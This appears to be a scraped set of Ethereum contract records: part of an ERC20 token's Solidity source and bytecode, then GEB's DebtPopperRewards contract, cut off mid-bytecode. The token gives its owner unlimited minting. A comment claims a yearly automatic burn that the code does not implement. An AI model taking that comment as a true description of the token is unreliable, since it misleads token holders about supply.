_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC2020: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(uint256 amount) public onlyOwner { _mint(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * every DECEMBER 31, 500 trillion token will be burned for 5 YEARS! * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function burn(uint256 amount) public onlyOwner { _burn(msg.sender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a0712d6811610066578063a0712d6814610216578063a457c2d714610232578063a9059cbb14610262578063dd62ed3e14610292576100cf565b806370a08231146101aa5780638da5cb5b146101da57806395d89b41146101f8576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610122578063313ce56714610140578063395093511461015e57806342966c681461018e575b600080fd5b6100dc6102c2565b6040516100e991906114b4565b60405180910390f35b61010c60048036038101906101079190610ff4565b610354565b6040516101199190611499565b60405180910390f35b61012a610372565b6040516101379190611616565b60405180910390f35b61014861037c565b6040516101559190611631565b60405180910390f35b61017860048036038101906101739190610ff4565b610385565b6040516101859190611499565b60405180910390f35b6101a860048036038101906101a39190611030565b610431565b005b6101c460048036038101906101bf9190610f8f565b6104ba565b6040516101d19190611616565b60405180910390f35b6101e2610503565b6040516101ef919061147e565b60405180910390f35b61020061052c565b60405161020d91906114b4565b60405180910390f35b610230600480360381019061022b9190611030565b6105be565b005b61024c60048036038101906102479190610ff4565b610647565b6040516102599190611499565b60405180910390f35b61027c60048036038101906102779190610ff4565b61073b565b6040516102899190611499565b60405180910390f35b6102ac60048036038101906102a79190610fb8565b610759565b6040516102b99190611616565b60405180910390f35b6060600480546102d19061177a565b80601f01602080910402602001604051908101604052809291908181526020018280546102fd9061177a565b801561034a5780601f1061031f5761010080835404028352916020019161034a565b820191906000526020600020905b81548152906001019060200180831161032d57829003601f168201915b5050505050905090565b60006103686103616107e0565b84846107e8565b6001905092915050565b6000600354905090565b60006012905090565b60006104276103926107e0565b8484600260006103a06107e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104229190611668565b6107e8565b6001905092915050565b6104396107e0565b73ffffffffffffffffffffffffffffffffffffffff16610457610503565b73ffffffffffffffffffffffffffffffffffffffff16146104ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a490611576565b60405180910390fd5b6104b733826109b3565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461053b9061177a565b80601f01602080910402602001604051908101604052809291908181526020018280546105679061177a565b80156105b45780601f10610589576101008083540402835291602001916105b4565b820191906000526020600020905b81548152906001019060200180831161059757829003601f168201915b5050505050905090565b6105c66107e0565b73ffffffffffffffffffffffffffffffffffffffff166105e4610503565b73ffffffffffffffffffffffffffffffffffffffff161461063a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063190611576565b60405180910390fd5b6106443382610b89565b50565b600080600260006106566107e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a906115d6565b60405180910390fd5b61073061071e6107e0565b85858461072b91906116be565b6107e8565b600191505092915050565b600061074f6107486107e0565b8484610cde565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f906115b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf90611516565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109a69190611616565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90611596565b60405180910390fd5b610a2f82600083610f60565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad906114f6565b60405180910390fd5b8181610ac291906116be565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160036000828254610b1791906116be565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7c9190611616565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf0906115f6565b60405180910390fd5b610c0560008383610f60565b8060036000828254610c179190611668565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c6d9190611668565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cd29190611616565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590611556565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db5906114d6565b60405180910390fd5b610dc9838383610f60565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4790611536565b60405180910390fd5b8181610e5c91906116be565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eee9190611668565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f529190611616565b60405180910390a350505050565b505050565b600081359050610f748161181b565b92915050565b600081359050610f8981611832565b92915050565b600060208284031215610fa157600080fd5b6000610faf84828501610f65565b91505092915050565b60008060408385031215610fcb57600080fd5b6000610fd985828601610f65565b9250506020610fea85828601610f65565b9150509250929050565b6000806040838503121561100757600080fd5b600061101585828601610f65565b925050602061102685828601610f7a565b9150509250929050565b60006020828403121561104257600080fd5b600061105084828501610f7a565b91505092915050565b611062816116f2565b82525050565b61107181611704565b82525050565b60006110828261164c565b61108c8185611657565b935061109c818560208601611747565b6110a58161180a565b840191505092915050565b60006110bd602383611657565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611123602283611657565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611189602283611657565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111ef602683611657565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611255602783611657565b91507f455243323032303a207472616e736665722066726f6d20746865207a65726f2060008301527f61646472657373000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112bb602083611657565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006112fb602183611657565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611361602483611657565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113c7602583611657565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061142d601f83611657565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b61146981611730565b82525050565b6114788161173a565b82525050565b60006020820190506114936000830184611059565b92915050565b60006020820190506114ae6000830184611068565b92915050565b600060208201905081810360008301526114ce8184611077565b905092915050565b600060208201905081810360008301526114ef816110b0565b9050919050565b6000602082019050818103600083015261150f81611116565b9050919050565b6000602082019050818103600083015261152f8161117c565b9050919050565b6000602082019050818103600083015261154f816111e2565b9050919050565b6000602082019050818103600083015261156f81611248565b9050919050565b6000602082019050818103600083015261158f816112ae565b9050919050565b600060208201905081810360008301526115af816112ee565b9050919050565b600060208201905081810360008301526115cf81611354565b9050919050565b600060208201905081810360008301526115ef816113ba565b9050919050565b6000602082019050818103600083015261160f81611420565b9050919050565b600060208201905061162b6000830184611460565b92915050565b6000602082019050611646600083018461146f565b92915050565b600081519050919050565b600082825260208201905092915050565b600061167382611730565b915061167e83611730565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116b3576116b26117ac565b5b828201905092915050565b60006116c982611730565b91506116d483611730565b9250828210156116e7576116e66117ac565b5b828203905092915050565b60006116fd82611710565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561176557808201518184015260208101905061174a565b83811115611774576000848401525b50505050565b6000600282049050600182168061179257607f821691505b602082108114156117a6576117a56117db565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611824816116f2565b811461182f57600080fd5b50565b61183b81611730565b811461184657600080fd5b5056fea2646970667358221220f9e27c7bf1c16f6b2781f5e25aab225625e096e12d3ab07852055cfe4c28dc5b64736f6c63430008000033
{"success": true, "error": null, "results": {}}
8,824
0xe1d5181f0dd039aa4f695d4939d682c4cf874086
pragma solidity 0.6.7; contract GebMath { uint256 public constant RAY = 10 ** 27; uint256 public constant WAD = 10 ** 18; function ray(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 9); } function rad(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 27); } function minimum(uint x, uint y) public pure returns (uint z) { z = (x <= y) ? x : y; } function addition(uint x, uint y) public pure returns (uint z) { z = x + y; require(z >= x, "uint-uint-add-overflow"); } function subtract(uint x, uint y) public pure returns (uint z) { z = x - y; require(z <= x, "uint-uint-sub-underflow"); } function multiply(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow"); } function rmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / RAY; } function rdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, RAY) / y; } function wdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, WAD) / y; } function wmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / WAD; } function rpower(uint x, uint n, uint base) public pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := base} default {z := 0}} default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, base) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, base) } } } } } } abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual external view returns (uint, uint); function systemCoin() virtual external view returns (address); function pullFunds(address, address, uint) virtual external; function setTotalAllowance(address, uint256) external virtual; function setPerBlockAllowance(address, uint256) external virtual; } contract MandatoryFixedTreasuryReimbursement is GebMath { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "MandatoryFixedTreasuryReimbursement/account-not-authorized"); _; } // --- Variables --- // The fixed reward sent by the treasury to a fee receiver uint256 public fixedReward; // [wad] // SF treasury StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters( bytes32 parameter, address addr ); event ModifyParameters( bytes32 parameter, uint256 val ); event RewardCaller(address indexed finalFeeReceiver, uint256 fixedReward); constructor(address treasury_, uint256 fixedReward_) public { require(fixedReward_ > 0, "MandatoryFixedTreasuryReimbursement/null-reward"); require(treasury_ != address(0), "MandatoryFixedTreasuryReimbursement/null-treasury"); authorizedAccounts[msg.sender] = 1; treasury = StabilityFeeTreasuryLike(treasury_); fixedReward = fixedReward_; emit AddAuthorization(msg.sender); emit ModifyParameters("treasury", treasury_); emit ModifyParameters("fixedReward", fixedReward); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Treasury Utils --- /* * @notify Return the amount of SF that the treasury can transfer in one transaction when called by this contract */ function treasuryAllowance() public view returns (uint256) { (uint total, uint perBlock) = treasury.getAllowance(address(this)); return minimum(total, perBlock); } /* * @notify Get the actual reward to be sent by taking the minimum between the fixed reward and the amount that can be sent by the treasury */ function getCallerReward() public view returns (uint256 reward) { reward = minimum(fixedReward, treasuryAllowance() / RAY); } /* * @notice Send a SF reward to a fee receiver by calling the treasury * @param proposedFeeReceiver The address that will receive the reward (unless null in which case msg.sender will receive it) */ function rewardCaller(address proposedFeeReceiver) internal { // If the receiver is the treasury itself or if the treasury is null or if the reward is zero, revert require(address(treasury) != proposedFeeReceiver, "MandatoryFixedTreasuryReimbursement/reward-receiver-cannot-be-treasury"); require(both(address(treasury) != address(0), fixedReward > 0), "MandatoryFixedTreasuryReimbursement/invalid-treasury-or-reward"); // Determine the actual fee receiver and reward them address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver; uint256 finalReward = getCallerReward(); treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), finalReward); emit RewardCaller(finalFeeReceiver, finalReward); } } abstract contract AccountingEngineLike { function debtPoppers(uint256) virtual public view returns (address); } contract DebtPopperRewards is MandatoryFixedTreasuryReimbursement { // --- Variables --- // When the next reward period starts uint256 public rewardPeriodStart; // [unix timestamp] // Delay between two consecutive reward periods uint256 public interPeriodDelay; // [seconds] // Time (after a block of debt is popped) after which no reward can be given anymore uint256 public rewardTimeline; // [seconds] // Amount of pops that can be rewarded per period uint256 public maxPerPeriodPops; // Timestamp from which the contract accepts requests for rewarding debt poppers uint256 public rewardStartTime; // Whether a debt block has been popped mapping(uint256 => bool) public rewardedPop; // [unix timestamp => bool] // Amount of pops that were rewarded in each period mapping(uint256 => uint256) public rewardsPerPeriod; // [unix timestamp => wad] // Accounting engine contract AccountingEngineLike public accountingEngine; // --- Events --- event SetRewardPeriodStart(uint256 rewardPeriodStart); event RewardForPop(uint256 slotTimestamp, uint256 reward); constructor( address accountingEngine_, address treasury_, uint256 rewardPeriodStart_, uint256 interPeriodDelay_, uint256 rewardTimeline_, uint256 fixedReward_, uint256 maxPerPeriodPops_, uint256 rewardStartTime_ ) public MandatoryFixedTreasuryReimbursement(treasury_, fixedReward_) { require(rewardPeriodStart_ >= now, "DebtPopperRewards/invalid-reward-period-start"); require(interPeriodDelay_ > 0, "DebtPopperRewards/invalid-inter-period-delay"); require(rewardTimeline_ > 0, "DebtPopperRewards/invalid-harvest-timeline"); require(maxPerPeriodPops_ > 0, "DebtPopperRewards/invalid-max-per-period-pops"); require(accountingEngine_ != address(0), "DebtPopperRewards/null-accounting-engine"); accountingEngine = AccountingEngineLike(accountingEngine_); rewardPeriodStart = rewardPeriodStart_; interPeriodDelay = interPeriodDelay_; rewardTimeline = rewardTimeline_; fixedReward = fixedReward_; maxPerPeriodPops = maxPerPeriodPops_; rewardStartTime = rewardStartTime_; emit ModifyParameters("accountingEngine", accountingEngine_); emit ModifyParameters("interPeriodDelay", interPeriodDelay); emit ModifyParameters("rewardTimeline", rewardTimeline); emit ModifyParameters("rewardStartTime", rewardStartTime); emit ModifyParameters("maxPerPeriodPops", maxPerPeriodPops); emit SetRewardPeriodStart(rewardPeriodStart); } // --- Administration --- /* * @notify Modify a uint256 parameter * @param parameter The parameter name * @param val The new value for the parameter */ function modifyParameters(bytes32 parameter, uint256 val) external isAuthorized { require(val > 0, "DebtPopperRewards/invalid-value"); if (parameter == "interPeriodDelay") { interPeriodDelay = val; } else if (parameter == "rewardTimeline") { rewardTimeline = val; } else if (parameter == "fixedReward") { require(val > 0, "DebtPopperRewards/null-reward"); fixedReward = val; } else if (parameter == "maxPerPeriodPops") { maxPerPeriodPops = val; } else if (parameter == "rewardPeriodStart") { require(val > now, "DebtPopperRewards/invalid-reward-period-start"); rewardPeriodStart = val; } else revert("DebtPopperRewards/modify-unrecognized-param"); emit ModifyParameters(parameter, val); } /* * @notify Set a new treasury address * @param parameter The parameter name * @param addr The new address for the parameter */ function modifyParameters(bytes32 parameter, address addr) external isAuthorized { require(addr != address(0), "DebtPopperRewards/null-address"); if (parameter == "treasury") treasury = StabilityFeeTreasuryLike(addr); else revert("DebtPopperRewards/modify-unrecognized-param"); emit ModifyParameters(parameter, addr); } /* * @notify Get rewarded for popping a debt slot from the AccountingEngine debt queue * @oaran slotTimestamp The time of the popped slot * @param feeReceiver The address that will receive the reward for popping */ function getRewardForPop(uint256 slotTimestamp, address feeReceiver) external { // Perform checks require(slotTimestamp >= rewardStartTime, "DebtPopperRewards/slot-time-before-reward-start"); require(slotTimestamp < now, "DebtPopperRewards/slot-cannot-be-in-the-future"); require(now >= rewardPeriodStart, "DebtPopperRewards/wait-more"); require(addition(slotTimestamp, rewardTimeline) >= now, "DebtPopperRewards/missed-reward-window"); require(accountingEngine.debtPoppers(slotTimestamp) == msg.sender, "DebtPopperRewards/not-debt-popper"); require(!rewardedPop[slotTimestamp], "DebtPopperRewards/pop-already-rewarded"); require(getCallerReward() >= fixedReward, "DebtPopperRewards/invalid-available-reward"); // Update state rewardedPop[slotTimestamp] = true; rewardsPerPeriod[rewardPeriodStart] = addition(rewardsPerPeriod[rewardPeriodStart], 1); // If we offered rewards for too many pops, enforce a delay since rewards are available again if (rewardsPerPeriod[rewardPeriodStart] >= maxPerPeriodPops) { rewardPeriodStart = addition(now, interPeriodDelay); emit SetRewardPeriodStart(rewardPeriodStart); } emit RewardForPop(slotTimestamp, fixedReward); // Give the reward rewardCaller(feeReceiver); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c8063573059201161010f578063961d45c4116100a2578063dd2d2a1211610071578063dd2d2a121461049b578063f00df8b8146104be578063f752fdc3146104ea578063fe4f58901461050d576101e5565b8063961d45c41461043f578063a087163714610447578063b7ae03c01461046a578063d6e882dc14610472576101e5565b80636a146024116100de5780636a146024146103d85780637128b405146103e05780637f1681001461041157806394f3f81d14610419576101e5565b806357305920146103785780635a97f13a1461038057806361d027b3146103885780636614f010146103ac576101e5565b80633425677e1161018757806346f3e81c1161015657806346f3e81c146103135780634f8551421461033057806354f363a31461034d578063552033c414610370576101e5565b80633425677e1461029d57806335b28153146102a55780633c8bb3e6146102cd5780633ef5e445146102f0576101e5565b8063165c4a16116101c3578063165c4a16146102445780631efc0a3d1461026757806324ba58841461026f5780632cc138be14610295576101e5565b806303d11f62146101ea578063056640b7146102045780631021344714610227575b600080fd5b6101f2610530565b60408051918252519081900360200190f35b6101f26004803603604081101561021a57600080fd5b5080359060200135610536565b6101f26004803603602081101561023d57600080fd5b503561055e565b6101f26004803603604081101561025a57600080fd5b5080359060200135610574565b6101f26105d9565b6101f26004803603602081101561028557600080fd5b50356001600160a01b03166105df565b6101f26105f1565b6101f26105f7565b6102cb600480360360208110156102bb57600080fd5b50356001600160a01b031661068e565b005b6101f2600480360360408110156102e357600080fd5b508035906020013561072e565b6101f26004803603604081101561030657600080fd5b5080359060200135610743565b6101f26004803603602081101561032957600080fd5b503561079b565b6101f26004803603602081101561034657600080fd5b50356107b3565b6101f26004803603604081101561036357600080fd5b50803590602001356107c5565b6101f2610816565b6101f2610826565b6101f261082c565b610390610832565b604080516001600160a01b039092168252519081900360200190f35b6102cb600480360360408110156103c257600080fd5b50803590602001356001600160a01b0316610841565b6101f261099b565b6103fd600480360360208110156103f657600080fd5b50356109a7565b604080519115158252519081900360200190f35b6101f26109bc565b6102cb6004803603602081101561042f57600080fd5b50356001600160a01b03166109c2565b610390610a61565b6101f26004803603604081101561045d57600080fd5b5080359060200135610a70565b6101f2610a89565b6101f26004803603606081101561048857600080fd5b5080359060208101359060400135610ab8565b6101f2600480360360408110156104b157600080fd5b5080359060200135610b76565b6102cb600480360360408110156104d457600080fd5b50803590602001356001600160a01b0316610b8f565b6101f26004803603604081101561050057600080fd5b5080359060200135610eee565b6102cb6004803603604081101561052357600080fd5b5080359060200135610f03565b60045481565b60006b033b2e3c9fd0803ce800000061054f8484610574565b8161055657fe5b049392505050565b600061056e82633b9aca00610574565b92915050565b600081158061058f5750508082028282828161058c57fe5b04145b61056e576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6d756c2d6f766572666c6f7760501b604482015290519081900360640190fd5b60065481565b60006020819052908152604090205481565b60075481565b600254604080516375ad331760e11b81523060048201528151600093849384936001600160a01b039092169263eb5a662e926024808201939291829003018186803b15801561064557600080fd5b505afa158015610659573d6000803e3d6000fd5b505050506040513d604081101561066f57600080fd5b50805160209091015190925090506106878282610b76565b9250505090565b336000908152602081905260409020546001146106dc5760405162461bcd60e51b815260040180806020018281038252603a81526020018061140a603a913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6000670de0b6b3a764000061054f8484610574565b8082038281111561056e576040805162461bcd60e51b815260206004820152601760248201527f75696e742d75696e742d7375622d756e646572666c6f77000000000000000000604482015290519081900360640190fd5b600061056e826b033b2e3c9fd0803ce8000000610574565b60096020526000908152604090205481565b8181018281101561056e576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6164642d6f766572666c6f7760501b604482015290519081900360640190fd5b6b033b2e3c9fd0803ce800000081565b60015481565b60035481565b6002546001600160a01b031681565b3360009081526020819052604090205460011461088f5760405162461bcd60e51b815260040180806020018281038252603a81526020018061140a603a913960400191505060405180910390fd5b6001600160a01b0381166108ea576040805162461bcd60e51b815260206004820152601e60248201527f44656274506f70706572526577617264732f6e756c6c2d616464726573730000604482015290519081900360640190fd5b8167747265617375727960c01b141561091d57600280546001600160a01b0319166001600160a01b038316179055610954565b60405162461bcd60e51b815260040180806020018281038252602b815260200180611325602b913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b670de0b6b3a764000081565b60086020526000908152604090205460ff1681565b60055481565b33600090815260208190526040902054600114610a105760405162461bcd60e51b815260040180806020018281038252603a81526020018061140a603a913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b600a546001600160a01b031681565b60008161054f846b033b2e3c9fd0803ce8000000610574565b6000610ab36001546b033b2e3c9fd0803ce8000000610aa66105f7565b81610aad57fe5b04610b76565b905090565b6000838015610b5857600184168015610ad357859250610ad7565b8392505b50600283046002850494505b8415610b52578586028687820414610afa57600080fd5b81810181811015610b0a57600080fd5b8590049650506001851615610b47578583028387820414158715151615610b3057600080fd5b81810181811015610b4057600080fd5b8590049350505b600285049450610ae3565b50610b6e565b838015610b685760009250610b6c565b8392505b505b509392505050565b600081831115610b865781610b88565b825b9392505050565b600754821015610bd05760405162461bcd60e51b815260040180806020018281038252602f81526020018061146a602f913960400191505060405180910390fd5b428210610c0e5760405162461bcd60e51b815260040180806020018281038252602e8152602001806114d7602e913960400191505060405180910390fd5b600354421015610c65576040805162461bcd60e51b815260206004820152601b60248201527f44656274506f70706572526577617264732f776169742d6d6f72650000000000604482015290519081900360640190fd5b42610c72836005546107c5565b1015610caf5760405162461bcd60e51b81526004018080602001828103825260268152602001806114446026913960400191505060405180910390fd5b600a546040805163a710368760e01b815260048101859052905133926001600160a01b03169163a7103687916024808301926020929190829003018186803b158015610cfa57600080fd5b505afa158015610d0e573d6000803e3d6000fd5b505050506040513d6020811015610d2457600080fd5b50516001600160a01b031614610d6b5760405162461bcd60e51b815260040180806020018281038252602181526020018061137d6021913960400191505060405180910390fd5b60008281526008602052604090205460ff1615610db95760405162461bcd60e51b81526004018080602001828103825260268152602001806113e46026913960400191505060405180910390fd5b600154610dc4610a89565b1015610e015760405162461bcd60e51b815260040180806020018281038252602a815260200180611505602a913960400191505060405180910390fd5b6000828152600860209081526040808320805460ff191660019081179091556003548452600990925290912054610e37916107c5565b600380546000908152600960205260408082209390935560065491548152919091205410610ea357610e6b426004546107c5565b600381905560408051918252517f18e5b1121d12dad34617b8f2514a72628cd1b47fcada4